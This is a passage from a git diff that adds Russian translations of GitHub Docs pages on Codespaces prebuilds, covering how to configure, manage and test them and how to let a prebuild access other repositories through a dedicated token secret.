когда необходимо обновить предварительные сборки для вашей конфигурации. Это может происходить с запланированными интервалами, при отправке в репозиторий с поддержкой предварительной сборки или при изменении конфигурации контейнера разработки. Дополнительные сведения см. в разделе [Настройка предварительных сборок](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). + +Когда запускается рабочий процесс предварительной сборки, {% data variables.product.prodname_dotcom %} создает временную среду codespace, выполняя операции настройки вплоть до любых команд `onCreateCommand` и `updateContentCommand` в файле `devcontainer.json` включительно. Во время создания предварительной сборки команды не `postCreateCommand` выполняются. Дополнительные сведения об этих командах [см. в справочнике по `devcontainer.json`](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) в документации по {% data variables.product.prodname_vscode_shortname %}. Затем будет создан и сохранен моментальный снимок созданного контейнера. + +Как и в случае с другими рабочими процессами {% data variables.product.prodname_actions %}, выполнение рабочего процесса конфигурации предварительной сборки будет либо потреблять часть минут {% data variables.product.prodname_actions %}, включенных в вашу учетную запись, либо будет взиматься плата за {% data variables.product.prodname_actions %} минут. Плата за хранение предварительных сборок codespace взимается так же, как за хранение активных или остановленных codespace. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-codespaces-prebuilds). + +Когда вы создаете среду codespace из предварительной сборки, {% data variables.product.prodname_dotcom %} скачивает существующий снимок контейнера из хранилища и развертывает его на новой виртуальной машине, выполняя оставшиеся команды, указанные в конфигурации контейнера разработки. Так как многие операции уже выполнены, например клонирование репозитория, создание codespace из предварительной сборки может быть значительно быстрее, чем создание без предварительной сборки. Это так, когда репозиторий большой и (или) команды `onCreateCommand` выполняются долго. + +## Сведения об отправке изменений в ветви с включенной предварительной сборкой + +По умолчанию каждая отправка в ветвь с конфигурацией предварительной сборки приводит к запуску рабочего процесса {% data variables.product.prodname_dotcom %}, управляемого {% data variables.product.prodname_actions %}, для обновления предварительной сборки. Рабочий процесс предварительной сборки имеет ограничение параллелизма: запускается один рабочий процесс за раз для заданной конфигурации предварительной сборки, если только не были внесены изменения, влияющие на конфигурацию контейнера разработки для связанного репозитория. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers). Если запуск уже выполняется, то запуск рабочего процесса, который был поставлен в очередь последним, будет выполнен после завершения текущего запуска. + +Если для предварительной сборки настроено обновление при каждой отправке, это означает, что в случае очень частых отправок в репозиторий обновления предварительной сборки будут происходить не реже, чем требуется для запуска рабочего процесса предварительной сборки. Итак, если выполнение рабочего процесса обычно занимает один час, предварительные сборки будут создаваться для репозитория примерно раз в час, если выполнение завершится успешно, или чаще, если были отправки, изменяющие конфигурацию контейнера разработки в ветви. + +Например, давайте представим, что выполняется 5 последовательных отправок в ветвь с предварительной конфигурацией. В этой ситуации: + +* Запуск рабочего процесса выполняется для первой принудительной отправки, чтобы обновить предварительную сборку. +* Если 4 оставшиеся отправки не влияют на конфигурацию контейнера разработки, выполнение рабочего процесса для них ставится в очередь в состоянии "ожидание". + + Если какая-либо из оставшихся 4 отправок изменяет конфигурацию контейнера разработки, то служба не пропустит это и немедленно запустит рабочий процесс создания предварительной сборки, соответствующим образом обновив предварительную сборку в случае успеха. + +* После завершения первого запуска рабочие процессы для второй, третьей и четвертой отправок будут отменены, а последний поставленный в очередь рабочий процесс (для пятой отправки) будет запущен и обновит предварительную сборку. diff --git a/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md b/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md new file mode 100644 index 000000000000..880f765a3ccc --- /dev/null +++ b/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md @@ -0,0 +1,67 @@ +--- +title: Предоставление предварительной сборке доступа к другим репозиториям +shortTitle: Allow external repo access +intro: 'Предварительной сборке можно предоставить доступ к другим репозиториям {% data variables.product.prodname_dotcom %} для выполнения сборки.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Set up +permissions: People with admin access to a repository can configure prebuilds for the repository. +ms.openlocfilehash: 0186078525944587bc4344e0a7d6a32468ce1cd7 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158792' +--- +По умолчанию рабочий процесс {% data variables.product.prodname_actions %} для конфигурации предварительной сборки может обращаться только к содержимому в собственном репозитории. Для создания среды разработки в проекте могут использоваться дополнительные ресурсы, расположенные в других местах. + +## Предоставление предварительной сборке доступа на чтение внешних ресурсов + +Можно настроить доступ на чтение других репозиториев {% data variables.product.prodname_dotcom %}, принадлежащих одному владельцу, для этого необходимо указать разрешения в файле `devcontainer.json`, который используется в конфигурации предварительной сборки. Дополнительные сведения см. в разделе [Управление доступом к другим репозиториям в кодовом пространстве](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces). + +{% note %} + +**Примечание.** Таким образом можно предоставить только разрешения на чтение, при этом владелец целевого репозитория также должен являться владельцем репозитория, для которого создается предварительная сборка. Например, если вы создаете конфигурацию предварительной сборки для репозитория `octo-org/octocat`, вы сможете предоставить разрешения на чтение других репозиториев `octo-org/*`, при условии, что это указано в файле `devcontainer.json` и у вас есть такие разрешения. + +{% endnote %} + +Во время создания или изменения конфигурации предварительной сборки для файла `devcontainer.json`, который настраивает доступ на чтение других репозиториев с тем же владельцем, появится запрос на предоставление этих разрешений после нажатия кнопки **Создать** или **Обновить**. Дополнительные сведения см. в разделе [Настройка предварительных сборок](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). + +## Предоставление предварительной сборке доступа на запись во внешние ресурсы + +Если для проекта требуется доступ на запись к ресурсам или внешние ресурсы находятся в репозитории с владельцем, отличным от владельца репозитория, для которого создается конфигурация предварительной сборки, можно использовать {% data variables.product.pat_generic %}, чтобы предоставить этот доступ. + +Вам потребуется создать новую личную учетную запись, а затем использовать ее для создания {% data variables.product.pat_v1 %} с соответствующими областями. + +1. Создайте новую личную учетную запись для {% data variables.product.prodname_dotcom %}. + + {% warning %} + + **Предупреждение**. Хотя вы можете создать {% data variables.product.pat_v1 %} с помощью существующей личной учетной записи, мы настоятельно рекомендуем создать новую учетную запись с доступом только к целевым репозиториям, необходимым для вашего сценария. Это связано с тем, что разрешение `repository` в маркере доступа предоставляет доступ сразу ко всем репозиториям, к которым есть доступ у соответствующей учетной записи. Дополнительные сведения см. в статьях [Регистрация новой учетной записи GitHub](/get-started/signing-up-for-github/signing-up-for-a-new-github-account) и [Обеспечение безопасности для {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#considering-cross-repository-access). + + {% endwarning %} +1. Предоставьте новой учетной записи доступ на чтение к необходимым репозиториям. Дополнительные сведения см. в статье [Управление доступом отдельных пользователей к репозиторию организации](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository). +1. Во время входа в новую учетную запись создайте {% data variables.product.pat_v1 %} с областью `repo` . При желании, если ваша предварительная сборка должна получать пакеты из {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, также выберите область `read:packages`. Дополнительные сведения см. в разделе [Создание {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). + + ![Области repo и packages, выбранные для {% data variables.product.pat_v1 %}](/assets/images/help/codespaces/prebuilds-select-scopes.png) + + Если предварительная сборка будет использовать пакет из {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, необходимо предоставить новой учетной записи доступ к этому пакету или настроить для него наследование разрешений на доступ от репозитория, для которого выполняется предварительная сборка. Дополнительные сведения см. в разделе [Настройка управления доступом и видимости пакета](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility). +{% ifversion ghec %}1. Авторизуйте маркер для использования с единым входом SAML, чтобы он смог получить доступ к репозиториям, принадлежащим организациям с настроенным единым входом. Дополнительные сведения см. в разделе [Авторизация {% data variables.product.pat_generic %} для использования с единым входом SAML](/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on). + + ![Кнопка для настройки единого входа для {% data variables.product.pat_v1 %}](/assets/images/help/codespaces/configure-SSO-for-PAT.png) + +{% endif %} +1. Скопируйте строку маркера. Ее вам нужно назначить секрету репозитория {% data variables.product.prodname_codespaces %}. +1. Снова войдите в учетную запись с правами администратора для репозитория. +1. В репозитории, для которого требуется создать предварительные сборки {% data variables.product.prodname_github_codespaces %}, создайте секрет репозитория {% data variables.product.prodname_codespaces %} с именем `CODESPACES_PREBUILD_TOKEN`, присвоив ему значение созданного и скопированного маркера. Подробнее см. статью [Управление зашифрованными секретами репозитория и организации для {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces#adding-secrets-for-a-repository). + +{% data variables.product.pat_generic %} будет использоваться для всех последующих предварительных сборок, созданных для репозитория. В отличие от других секретов репозитория {% data variables.product.prodname_codespaces %}, секрет `CODESPACES_PREBUILD_TOKEN` используется только для предварительной сборки и не будет доступен для использования в пространствах кода, созданных из этого репозитория. + +## Дополнительные материалы + +- [Настройка предварительных сборок](/codespaces/prebuilding-your-codespaces/configuring-prebuilds) +- [Устранение неполадок с предварительными сборками](/codespaces/troubleshooting/troubleshooting-prebuilds) diff --git a/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md b/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md new file mode 100644 index 000000000000..74f2a4e88a9f --- /dev/null +++ b/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md @@ -0,0 +1,120 @@ +--- +title: Настройка предварительных сборок +shortTitle: Configure prebuilds +intro: Вы можете настроить проект для автоматической предварительной сборки пространства кода при каждой отправке изменений в репозиторий. +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Set up +permissions: People with admin access to a repository can configure prebuilds for the repository. +ms.openlocfilehash: dbb355e150695f27d1d6a7fa51eccc33a0ebde4f +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159120' +--- +Можно настроить конфигурацию предварительной сборки для определенной ветви репозитория в сочетании с определенным файлом конфигурации контейнера разработки. + +Все ветви, созданные из родительской ветви с поддержкой предварительных сборок, обычно также получают предварительные сборки для той же конфигурации контейнера разработки. Это связано с тем, что предварительные сборки для дочерних ветвей, которые используют ту же конфигурацию контейнера разработки, что и родительская ветвь, по большей части идентичны, поэтому разработчики могут воспользоваться более быстрым временем создания codespace в этих ветвях. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers). + +Обычно при настройке предварительных сборок для ветви они доступны для различных типов компьютеров. Однако если в репозитории больше 32 ГБ, предварительные сборки не будут доступны для двух- и четырехъядерных компьютеров, так как хранилище ограничено 32 ГБ. + +## Предварительные требования + +Предварительные сборки создаются с помощью {% data variables.product.prodname_actions %}. В результате для репозитория, для которого настраиваются предварительные сборки, необходимо включить {% data variables.product.prodname_actions %}. Дополнительные сведения см. в разделе [Управление параметрами {% data variables.product.prodname_actions %} для репозитория](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository). + +## Настройка предварительных сборок + +{% data reusables.codespaces.accessing-prebuild-configuration %} +1. В разделе "Конфигурация предварительной сборки" выберите **Настроить предварительную сборку**. + + ![Кнопка "Настройка предварительных сборки"](/assets/images/help/codespaces/prebuilds-set-up.png) + +1. Выберите ветвь, для которой требуется настроить предварительные сборки. + + ![Раскрывающееся меню ветви](/assets/images/help/codespaces/prebuilds-choose-branch.png) + + {% note %} + + **Примечание.** Все ветви, созданные из базовой ветви с поддержкой предварительных сборок, обычно также получают предварительные сборки для той же конфигурации контейнера разработки. Например, если включить предварительные сборки для файла конфигурации контейнера разработки для ветви репозитория по умолчанию, в большинстве случаев ветви на основе ветви по умолчанию также получат предварительные сборки для той же конфигурации контейнера разработки. + + {% endnote %} + +1. При необходимости в раскрывающемся меню **Файл конфигурации** выберите `devcontainer.json` файл конфигурации, который вы хотите использовать для предварительных сборок. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#devcontainerjson). + + ![Раскрывающееся меню файла конфигурации](/assets/images/help/codespaces/prebuilds-choose-configfile.png) + +1. Выберите способ автоматического запуска обновлений предварительной сборки. + + * **Каждая отправка** (параметр по умолчанию) — при использовании этого параметра предварительные сборки будут обновляться при каждой отправке, выполненной в указанную ветвь. Это гарантирует, что пространства кода, созданные из предварительной сборки, всегда будут содержать последнюю конфигурацию пространства кода, включая все недавно добавленные или обновленные зависимости. + * **При изменении конфигурации** — с помощью этого параметра предварительные сборки будут обновляться при каждом обновлении связанных файлов конфигурации для заданного репозитория и ветви. Это гарантирует, что изменения в файлах конфигурации контейнера разработки для репозитория используются при создании пространства кода из предварительной сборки. Рабочий процесс {% data variables.product.prodname_actions %}, который обновляет предварительные сборки, будет выполняться реже, поэтому этот параметр будет использовать меньше {% data variables.product.prodname_actions %} минут. Однако этот вариант не гарантирует, что пространства кода всегда содержат недавно добавленные или обновленные зависимости, поэтому их может потребоваться добавить или обновить вручную после создания пространства кода. + * **Запланировано** . С помощью этого параметра предварительные сборки можно обновлять по пользовательскому расписанию, определенному вами. Это может снизить потребление {% data variables.product.prodname_actions %} минут, однако при использовании этого параметра можно создавать пространства кода, которые не используют последние изменения конфигурации контейнера разработки. + + ![Параметры триггера предварительной сборки](/assets/images/help/codespaces/prebuilds-triggers.png) + +1. При необходимости выберите **Уменьшить доступность предварительной сборки только для определенных регионов** , чтобы создавать предварительные сборки только в указанных регионах. Выберите регионы, в которых должны быть доступны предварительные сборки. + + По умолчанию предварительные сборки создаются во всех доступных регионах, что влечет за собой плату за хранение для каждой предварительной сборки. + + ![Параметры выбора региона](/assets/images/help/codespaces/prebuilds-regions.png) + + {% note %} + + **Примечания** + * За предварительную сборку в каждом регионе взимается отдельная плата за хранение. Поэтому следует включить предварительные сборки только для регионов, где они точно будут использоваться. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-codespaces-prebuilds). + * Разработчики могут задать регион по умолчанию для {% data variables.product.prodname_github_codespaces %}, что позволяет включить предварительные сборки для меньшего числа регионов. Дополнительные сведения см. в разделе [Настройка региона по умолчанию для {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces). + + {% endnote %} + +1. При необходимости в разделе **Журнал шаблонов** укажите количество сохраняемых версий предварительной сборки. Можно ввести любое число от 1 до 5. Число сохраненных версий по умолчанию равно 2. Это означает, что сохраняются только последняя предварительная сборка и предыдущая версия. + + ![Параметр журнала предварительной сборки](/assets/images/help/codespaces/prebuilds-template-history-setting.png) + + В зависимости от параметров триггера предварительной сборки предварительная сборка может изменяться при каждой отправке или при каждом изменении конфигурации контейнера разработки. Сохранение более старых версий предварительной сборки позволяет создать предварительную сборку из более старой фиксации с другой конфигурацией контейнера разработки, отличной от текущей предварительной сборки. Этот параметр позволяет задать количество сохраненных версий на уровне, соответствующем вашим потребностям. + + Если задать для сохранения число версий предварительной сборки равным 1, {% data variables.product.prodname_github_codespaces %} сохранит только последнюю версию предварительной сборки и удалит старую версию при каждом обновлении шаблона. Это означает, что вы не получите предварительно созданное пространство кода, если вернетесь к более старой конфигурации контейнера разработки. + + С каждой сохраненной версией предварительной сборки связаны затраты на хранилище. Например, если вы создаете предварительные сборки в 4 регионах и сохраняете 2 версии, с вас будет взиматься плата за хранение до 8 предварительных сборок. Дополнительные сведения о выставлении счетов см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing). + +1. При необходимости добавьте пользователей или команды, которые будут получать уведомления при сбое запусков рабочего процесса предварительной сборки для этой конфигурации. Начните вводить имя пользователя, имя команды или полное имя, а затем щелкните его, когда оно появится, чтобы добавить в список. Добавленные пользователи и команды будут получать сообщения электронной почты при сбое предварительной сборки. В сообщении будет содержаться ссылка на журналы выполнения рабочего процесса для изучения проблемы. + + ![Параметр уведомления о сбое предварительной сборки](/assets/images/help/codespaces/prebuilds-failure-notification-setting.png) + +1. При необходимости в нижней части страницы щелкните **Показать дополнительные параметры**. + + ![Снимок экрана: страница конфигурации предварительной сборки с выделенным элементом "Показать дополнительные параметры"](/assets/images/help/codespaces/show-advanced-options.png) + + Если в разделе "Дополнительные параметры" выбрать **Отключить оптимизацию предварительной сборки**, codespace будут созданы без предварительной сборки, если последний рабочий процесс предварительной сборки завершился сбоем или выполняется в данный момент. Дополнительные сведения см. в разделе [Устранение неполадок с предварительными сборками](/codespaces/troubleshooting/troubleshooting-prebuilds#preventing-out-of-date-prebuilds-being-used). + +1. Нажмите кнопку **Создать**. + + {% data reusables.codespaces.prebuilds-permission-authorization %} + +После создания конфигурации предварительной сборки она отображается на странице {% data variables.product.prodname_github_codespaces %} параметров репозитория. Рабочий процесс {% data variables.product.prodname_actions %} помещается в очередь, а затем выполняется, чтобы создать предварительные сборки в указанных регионах на основе ветви и файла конфигурации контейнера разработки, которые вы выбрали. + +![Снимок экрана: список конфигураций предварительной сборки](/assets/images/help/codespaces/prebuild-configs-list.png) + +Сведения об изменении и удалении конфигураций предварительной сборки см. в статье "[Управление предварительными сборками](/codespaces/prebuilding-your-codespaces/managing-prebuilds)". + +## Настройка переменных среды + +Чтобы разрешить процессу предварительной сборки доступ к переменным среды, необходимым для создания среды разработки, их можно задать как секреты репозитория {% data variables.product.prodname_codespaces %} или как секреты организации {% data variables.product.prodname_codespaces %}. Дополнительные сведения см. в разделе [Добавление секретов для репозитория](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces#adding-secrets-for-a-repository) и [Добавление секретов для организации](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces#adding-secrets-for-an-organization). + +Созданные таким образом секреты будут доступны любому пользователю, который создаст среду codespace из этого репозитория. Если этого не требуется, можно также задать секрет `CODESPACES_PREBUILD_TOKEN`. Секрет `CODESPACES_PREBUILD_TOKEN` используется только для предварительной сборки, а его значение недоступно в пространствах кода пользователей. + +Предварительные сборки не могут использовать секреты на уровне пользователя во время создания среды, поскольку такие секреты недоступны, пока не будет создана среда codespace. + +## Настройка трудоемких задач для включения в предварительную сборку + +Команды `onCreateCommand` и `updateContentCommand` можно использовать в `devcontainer.json` для включения длительных процессов в процесс создания предварительной сборки. Дополнительные сведения см. в документации по {% data variables.product.prodname_vscode %}, [devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts). + +`onCreateCommand` выполняется только один раз при создании предварительной сборки `updateContentCommand` , в то время как выполняется при создании предварительной сборки и при последующих обновлениях. Добавочные сборки должны быть включены в `updateContentCommand`, так как они представляют источник проекта и должны быть включены для каждого обновления предварительной сборки. + +## Дополнительные материалы + +- "[Предоставление предварительной сборке доступа к другим репозиториям](/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories)" +- [Устранение неполадок с предварительными сборками](/codespaces/troubleshooting/troubleshooting-prebuilds) diff --git a/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/index.md b/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/index.md new file mode 100644 index 000000000000..ab2ab4ed72dd --- /dev/null +++ b/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/index.md @@ -0,0 +1,24 @@ +--- +title: Предварительная сборка сред codespace +intro: 'Чтобы ускорить создание codespace, можно настроить проект для предварительной сборки codespace для конкретных ветвей в определенных регионах.' +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces +redirect_from: + - /codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project +children: + - /about-github-codespaces-prebuilds + - /configuring-prebuilds + - /allowing-a-prebuild-to-access-other-repositories + - /managing-prebuilds + - /testing-dev-container-changes +ms.openlocfilehash: 67f9051b9e33a7088f4f2ed3d1951babb4b61abe +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160208' +--- + diff --git a/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md b/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md new file mode 100644 index 000000000000..a49b776a1145 --- /dev/null +++ b/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md @@ -0,0 +1,103 @@ +--- +title: Управление предварительными сборками +shortTitle: Manage prebuilds +intro: 'Вы можете просматривать, изменять и удалять конфигурации предварительной сборки для репозитория.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: f39c46d91193db4c1c44ab336d86024b40adcea4 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160191' +--- +## Проверка, изменение и удаление конфигураций предварительной сборки + +Предварительные сборки, настроенные для репозитория, создаются и обновляются с помощью рабочего процесса {% data variables.product.prodname_actions %} под управлением службы {% data variables.product.prodname_github_codespaces %}. + +В зависимости от параметров в конфигурации предварительной сборки, рабочий процесс обновления для предварительной сборки может активироваться следующими событиями: + +* создание или обновление конфигурации предварительной сборки; +* отправка фиксации или запроса на вытягивание в ветвь, для которой настроены предварительные сборки; +* изменение любого из файлов конфигурации для контейнера разработки; +* активация события по расписанию, которое определено в конфигурации предварительной сборки; +* активация этого рабочего процесса вручную. + +Параметры в конфигурации предварительной сборки определяют, какие события активируют автоматическое обновление предварительной сборки. Дополнительные сведения см. в разделе [Настройка предварительных сборок](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). + +Пользователи с правами администратора в репозитории могут проверять ход выполнения предварительных сборок, изменять и удалять конфигурации предварительной сборки. + +### Просмотр хода выполнения для предварительной сборки +Текущее состояние последнего запуска рабочего процесса для каждой настроенной конфигурации предварительной сборки можно просмотреть на странице {% data variables.product.prodname_github_codespaces %} параметров репозитория. Здесь может быть указаны значения вида "Выполняется" или "Последний запуск 1 час назад". + +Чтобы просмотреть выходные данные журнала для последнего запуска рабочего процесса предварительной сборки, щелкните **Просмотреть выходные данные**. + +![Кнопка "Просмотреть выходные данные"](/assets/images/help/codespaces/prebuilds-see-output.png) + +Это действие отображает на вкладке **Действия** выходные данные последнего запуска рабочего процесса. + +![Выходные данные рабочего процесса предварительной сборки](/assets/images/help/codespaces/prebuilds-log-output.png) + +Кроме того, вы можете просмотреть все запуски рабочего процесса предварительной сборки, связанные с указанной ветвью, нажав кнопку с многоточием и выбрав в раскрывающемся меню пункт **Просмотреть запуски**. + +![Параметр "Просмотр запусков" в раскрывающемся меню](/assets/images/help/codespaces/prebuilds-view-runs.png) + +Отобразится журнал выполнения рабочего процесса предварительной сборки для связанной ветви. + +![Просмотр истории выполнения рабочего процесса](/assets/images/help/codespaces/prebuilds-workflow-runs.png) + +### Изменение конфигурации предварительной сборки + +1. На странице параметров репозитория для {% data variables.product.prodname_codespaces %} щелкните многоточие справа от конфигурации предварительной сборки, которую вы хотите изменить. +1. В раскрывающемся меню выберите **Изменить**. + + ![Параметр "Изменить" в раскрывающемся меню](/assets/images/help/codespaces/prebuilds-edit.png) + +1. Внесите необходимые изменения в конфигурацию предварительной сборки и щелкните **Обновить**. + + {% data reusables.codespaces.prebuilds-permission-authorization %} + + +### Отключение конфигурации предварительной сборки + +Чтобы приостановить обновление предварительных сборок для конфигурации, можно отключить для нее выполнения рабочего процесса. Отключение выполнений рабочего процесса для конфигурации предварительной сборки не удаляет ранее созданные предварительные сборки для этой конфигурации, а значит экземпляры codespace будут по-прежнему успешно создаваться из существующей предварительной сборки. + +Отключение выполнения рабочих процессов для конфигурации предварительной сборки полезно, если необходимо исследовать сбои при создании предварительной сборки. + +1. На странице параметров репозитория для {% data variables.product.prodname_codespaces %} щелкните многоточие справа от конфигурации предварительной сборки, которую вы хотите отключить. +1. В раскрывающемся меню выберите **Отключить запуски**. + + ![Параметр "Отключить запуски" в раскрывающемся меню](/assets/images/help/codespaces/prebuilds-disable.png) + +1. Чтобы подтвердить намерение отключить эту конфигурацию, щелкните **ОК**. + +### Удаление конфигурации предварительной сборки + +При удалении конфигурации предварительной сборки также удаляются все ранее созданные для нее предварительные сборки. Это означает, что вскоре после удаления конфигурации все созданные ею предварительные сборки станут недоступными для создания нового пространства кода. + +После удаления конфигурации предварительной сборки продолжится выполнение всех рабочих процессов, которые уже была поставлены в очередь или запущены для этой конфигурации. Они будут указаны в журнале выполнения рабочего процесса наряду со всеми ранее завершенными запусками рабочего процесса. + +1. На странице параметров репозитория для {% data variables.product.prodname_codespaces %} щелкните многоточие справа от конфигурации предварительной сборки, которую вы хотите удалить. +1. В раскрывающемся меню выберите **Удалить**. + + ![Параметр "Удалить" в раскрывающемся меню](/assets/images/help/codespaces/prebuilds-delete.png) + +1. Чтобы подтвердить удаление, щелкните **ОК**. + +### Запуск предварительных сборок вручную + +Иногда бывает нужно вручную запустить рабочий процесс для конфигурации предварительной сборки. Обычно это используется только при отладке проблем с рабочим процессом для конфигурации предварительной сборки. + +1. На странице параметров репозитория для {% data variables.product.prodname_codespaces %} щелкните многоточие справа от конфигурации предварительной сборки, для которой вы хотите запустить рабочий процесс. +1. В раскрывающемся меню щелкните **Активировать вручную**. + + ![Параметр "Триггер вручную" в раскрывающемся меню](/assets/images/help/codespaces/prebuilds-manually-trigger.png) + +## Дополнительные материалы + +- [Устранение неполадок с предварительными сборками](/codespaces/troubleshooting/troubleshooting-prebuilds) diff --git a/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md b/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md new file mode 100644 index 000000000000..b3f368f3c385 --- /dev/null +++ b/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md @@ -0,0 +1,37 @@ +--- +title: Тестирование изменений в конфигурации контейнеров разработки в ветви с поддержкой предварительной сборки +shortTitle: Test dev container changes +allowTitleToDifferFromFilename: true +intro: 'При изменении конфигурации контейнера разработки в той ветви, для которой настроена предварительная сборки, следует протестировать изменения в codespace.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Set up +permissions: People with write permissions to a repository can create or edit the dev container configuration for a branch. +ms.openlocfilehash: 29b44d0fb0b3bb3211f0c204cc7e99e39ab89b79 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159853' +--- +Любые изменения, внесенные в конфигурацию контейнера разработки для ветви с поддержкой предварительной сборки, приведут к обновлению конфигурации codespace и связанной предварительной сборки. В связи с этим важно протестировать такие изменения в кодовом пространстве из тестовой ветви, прежде чем фиксировать изменения в ветви репозитория, которая активно используется. Это позволит избежать введения критических изменений для вашей команды. + +Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers). + +## Тестирование изменений в конфигурации контейнера разработки + +1. Создайте кодовое пространство из ветви с поддержкой предварительной сборки, контейнер разработки которой вы хотите изменить. Дополнительные сведения см. в разделе [Создание codespace для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). +1. В кодовом пространстве изучить тестовую ветвь. Дополнительные сведения см. в статье [Использование системы управления версиями в кодовом пространстве](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#creating-or-switching-branches). +1. Внесите необходимые изменения в конфигурацию контейнера разработки. +1. Примените изменения, выполнив сборку контейнера заново. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace). +1. Если все в порядке, рекомендуем создать новое кодовое пространство из тестовой ветви и убедиться, что все работает. После этого можно отправлять изменения в ветвь репозитория по умолчанию или активную ветвь компонента, активировав обновление предварительной сборки для этой ветви. + + {% note %} + + **Примечание.** Создание такого кодового пространства займет больше времени, чем обычно, поскольку оно создается не из предварительной сборки. + + {% endnote %} diff --git a/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge.md b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge.md new file mode 100644 index 000000000000..fd62b7c7d680 --- /dev/null +++ b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge.md @@ -0,0 +1,64 @@ +--- +title: Добавление значка "Открыть в GitHub Codespaces" +shortTitle: Add a Codespaces badge +intro: 'Вы можете добавить значок в файл Markdown в репозитории, чтобы пользователи могли щелкнуть по нему для создания codespace.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Set up +ms.openlocfilehash: 